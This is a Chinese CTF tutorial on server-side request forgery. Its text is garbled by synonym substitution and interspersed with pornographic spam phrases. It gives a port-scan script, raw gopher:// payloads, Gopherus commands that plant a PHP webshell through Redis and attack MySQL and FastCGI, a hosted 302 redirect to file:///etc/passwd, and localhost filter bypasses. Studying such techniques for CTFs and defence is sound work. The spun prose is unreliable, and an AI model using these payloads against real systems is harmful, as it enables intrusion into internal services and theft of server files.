什么是ssrf在线av 国产
SSRF (Server-Side Request Forgery) 即处事端请求伪造,从字面兴致上领路即是伪造一个处事端请求,也即是说挫折者伪造处事端的请求发起挫折,挫折者借由处事端为跳板来挫折指标系统。
既然是跳板,也即是标明挫折者是无法平直访谒指标处事的,为了让全球更好的领路这个历程,我从网上找了一张图,贴在了底下。
图片
一句话记忆:
领域处事端使用指定合同访谒指定的url。让对方主机去访谒咱们访谒不到的url,拿到咱们正本拿不到的数据
错误利用要求1 对方能帮我访谒url,处事端有吸收url地址并进行访谒的功能
2 url地址外部可控
SSRF的利用面大肆文献读取前提是知说念要读取的文献名,然后再使用file://合同读取文献
图片
作念题时,如若不错读文献,不错尝试平直蒙flag文献名。
实战情况下,咱们还能用读/etc/hosts来赢适合前主机的ip。权限高的情况下还不错尝试读取 /proc/net/arp或者 /etc/network/interfaces来判断面前机器的鸠合情况
图片
得到主机内网地址就不错进行后续的探伤内网资源了
探伤内网资源端口扫描
SSRF 常协作 DICT 合同探伤内网端口绽放情况,但不是通盘的端口都不错被探伤,一般只可探伤出一些带 TCP 回显的端口,咱们不错使用py写一个剧本发请求,或者使用bp爆破。咱们拿一王人例题来演示:ctfhub手段树ssrf端口扫描
翻开题目url为:
http://challenge-d40e76290d36996f.sandbox.ctfhub.com:10800/?url=
咱们使用dict合同+burp爆破
图片
爆破效能8699端口复返长度不同
图片
咱们访谒,拿到flag
图片
底下是一个毛糙的python探伤剧本(这个剧本只针对这说念题,具体环境具体修改)
import requestsurl = 'http://challenge-d40e76290d36996f.sandbox.ctfhub.com:10800/?url='for port in range(8650, 9001):url_1 = url + '127.0.0.1:' + str(port)#print(url_1)res = requests.get(url_1)if 'ctfhub' in res.text:print(port, res.text)主机扫描
不错通过访谒/etc/hosts赢得地方网段,然后进行c段扫描
使用gopher合同扩张咱们的挫折面什么是gopher合同gopher合同界说:Gopher是Internet上一个特地著名的信息查找系统,它将Internet上的文献组织成某种索引,很绵薄地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索器具,Gopher站点亦然最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了夙昔的光泽。面前它基本逾期,东说念主们很少再使用它;gopher合同赞助发出GET、POST请求:不错先截获get请求包和post请求包,在组成顺应gopher合同的请求。gopher合同是ssrf利用中最庞大的合同
gopher合同在各个编程讲话中的使用放胆图片
--wite-curlwrappers:讹诈curl器具翻开url流curl使用curl --version稽查版块以及赞助的合同
图片
Gopher合同顺序:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流gopher的默许端口是70如若发起post请求,回车换行需要使用 ,如若多个参数,参数之间的&也需要进行URL编码gopher发送请求GET
那么如何发送HTTP的请求呢?举例GET请求。此时咱们联念念到,平直发送一个原始的HTTP包不就不错吗?在gopher合同中发送HTTP的数据,需要以下三步:
构造HTTP数据包
URL编码、替换回车换行径
发送gopher合同
这里使用一个PHP的代码演示,如下:
<?phpecho 'Hello '.$_GET['name'].'\n'?>构造一个GET请求数据包
GET /ssrf/base/get.php?name=Caigo HTTP/1.1Host: 192.168.0.109
url编码后
curl gopher://192.168.0.109:80/_GET /ssrf/base/get.php?name=Caigo HTTP/1.1 Host: 192.168.0.109在治疗为URL编码技巧有这样几个坑
问号(?)需要转码为URL编码,也即是?
回车换行要变为 ,但如若平直用器具转,可能只会有
在HTTP包的终末要加 ,代表音信松手(具体可商量HTTP包松手)
POST演示代码
<?phpecho 'Hello '.$_POST['name'].'\n'?>
请求包(4个参数为必要参数)
POST /ssrf/base/post.php HTTP/1.1host:192.168.0.109Content-Type:application/x-www-form-urlencodedContent-Length:11name=Caigourl编码后
curl gopher://192.168.0.109:80/_POST /ssrf/base/post.php HTTP/1.1 Host:192.168.0.109 Content-Type:application/x-www-form-urlencoded Content-Length:11 name=Caigo
手工生成太繁难了,大无数情况下已经使用器具生成,作念个了解就行
gopherus使用Gopherus器具是用来成心生成gopher合同的payload器具,通过gopher合同的以及各式被挫折应用的tcp包特质来构造payload
面前赞助生成payload应用有:
MySQL (Port:3306)
FastCGI (Port:9000)
Memcached (Port:11211)
Redis (Port:6379)
Zabbix (Port:10050)
SMTP (Port:25)
Redis未授权+gopher例题:ctfhub手段树ssrf_Redis
dict探伤到redis
图片
使用gopherus生成poc,shell选php的其他默许,会在网站根目次生成shell.php文献,密码是cmd
python2 gopherus.py --exploit redis图片
默许生成的poc粗略有些问题,冷落我方写一句话木马
mysql未授权+gopher前提;mysql无密码,知说念用户名,比如rootpython2 gopherus.py --exploit mysql
图片
php-fpmphp-fpm 默许监听9000端口,而且只允许本机127.0.0.1这个地址访谒.要细致对.php文献的代码阐明引申
老婆偷情咱们不错通过向9000端口发送顺序的请求,来让9000端口背后的php-fpm帮咱们处置咱们提交的php代码
向9000端口发送php引肯求求
python2 gopherus.py --exploit fastcgi图片
它这个文献要选拔笃定存在的文献,默许的文献可能不存在,会导致号令无法引申
php原生类ssrf这个其实应该归为到反序列化的常识中,参考著作
https://zhuanlan.zhihu.com/p/80918004
SSRF过滤绕过通过咱们前边的本体,不错得知独一不允许它访谒土产货地址即可,也即是说,过滤的办法是,不让访谒127.0.0.1地址,就不错阻绝ssrf
利用Enclosed alphanumerics绕过ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
使用IP地址进制治疗127.0.0.1用不同进制不错暗示为
2130706433 10进制 http://2130706433 017700000001 8进制 http://0177000000017F000001 16进制 http://0x7F000001独特语法绕过
Windows 下 0 代表的是0.0.0.0
而Linux 下 0 代表的是127.0.0.1
127.0.0.1 不错不详为 127.1
127。0。0。1 不错替代127.0.0.1
302跳转
如若对方环境吸收302跳转,何况跟进302跳转
不错发送http的合同。然则复返的location为其他合同
#302.php<?php header('Location:file:///etc/passwd');//咱们需要将这个php文献放在公网上,拼接到url访谒,就能达成302跳转//payload:?url=http://[公网IP]/302.php利用短网址绕过比如说要访谒baidu.com 然则题目不允许出现baidu字符
或者放胆了url长度,咱们不错切换为短网址,来绕过长度的放胆
旨趣即是302跳转,在线网站:http://rurl.vip/eW7AU
@记号绕过比赛中可能会存在白名单,一定要请求某个IP或域名的情况,这个技巧在url背面跟上@记号,浏览器会访谒@背面的域名或ip
http://www.xxx.com@www.baidu.com/
图片
学无极度在线av 国产,共勉
本站仅提供存储处事,通盘本体均由用户发布,如发现存害或侵权本体,请点击举报。